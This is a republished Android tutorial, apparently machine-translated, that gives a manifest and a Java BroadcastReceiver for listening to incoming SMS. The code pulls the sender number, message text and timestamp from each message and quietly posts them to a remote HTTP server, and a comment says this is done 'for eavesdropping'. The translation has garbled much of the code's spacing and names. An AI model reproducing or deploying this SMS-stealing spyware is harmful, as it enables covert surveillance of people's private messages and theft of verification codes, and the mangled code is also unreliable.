Android BroadcastReceiver broadcast receiver implements SMS listening

Source: Internet
Author: User

[Html] <? Xml version = "1.0" encoding = "UTF-8"?> <Manifest xmlns: android = "http://schemas.android.com/apk/res/android" package = "cn. itcast. sms "android: versionCode =" 1 "android: versionName =" 1.0 "> <application android: icon =" @ drawable/icon "android: label = "@ string/app_name"> <Cycler android: name = ". SMSBroadcastReceiver "> <intent-filter> <action android: name =" android. provider. telephony. SMS_RECEIVED "/> </intent-filter> </Cycler> </application> <uses- Sdk android: minSdkVersion = "8"/> <uses-permission android: name = "android. permission. RECEIVE_SMS"/> <! -- Receive SMS permission --> <! -- Access Network permissions --> <uses-permission android: name = "android. permission. INTERNET "/> </manifest> [java] package cn. itcast. sms; import java. SQL. date; import java. text. simpleDateFormat; import java. util. hashMap; import java. util. map; import cn. itcast. utils. socketHttpRequester; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. telephony. smsMessage; import android. util. log; public class SMSBroadcastReceiver extends BroadcastReceiver {// obtain the text message information from the recipient, and send the information to the server for eavesdropping @ Override public void onReceive (Context context, Intent intent) {Object [] pduses = (Object []) intent. getExtras (). get ("pdus"); for (Object pdus: pduses) {byte [] pdusmessage = (byte []) pdus; // No text message SmsMessage sms = SmsMessage. createFromPdu (pdusmessage); String mobile = sms. getOriginatingAddress (); // obtain the telephone number String content = sms. getMessageBody (); // get the text message content Date date = new Date (sms. getTimestampMillis (); // obtain the SMS sending time. // 12:21:23 SimpleDateFormat format = new SimpleDateFormat ("yyyy-MM-dd HH: mm: ss "); // set the format String sendtime = format for practice. format (date); Map <String, String> params = new HashMap <String, String> (); params. put ("method", "getSMS"); // put all text message-related content in the Set params. put ("mobile", mobile); params. put ("content", content); params. put ("sendtime", sendtime); try {// use a socket to send SocketHttpRequester to the server. post ("http: // 192.168.1.100: 8080/videoweb/video/manage. do ", params," UTF-8 ");} catch (Exception e) {Log. e ("SMSBroadcastReceiver", e. toString ());}}}}

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.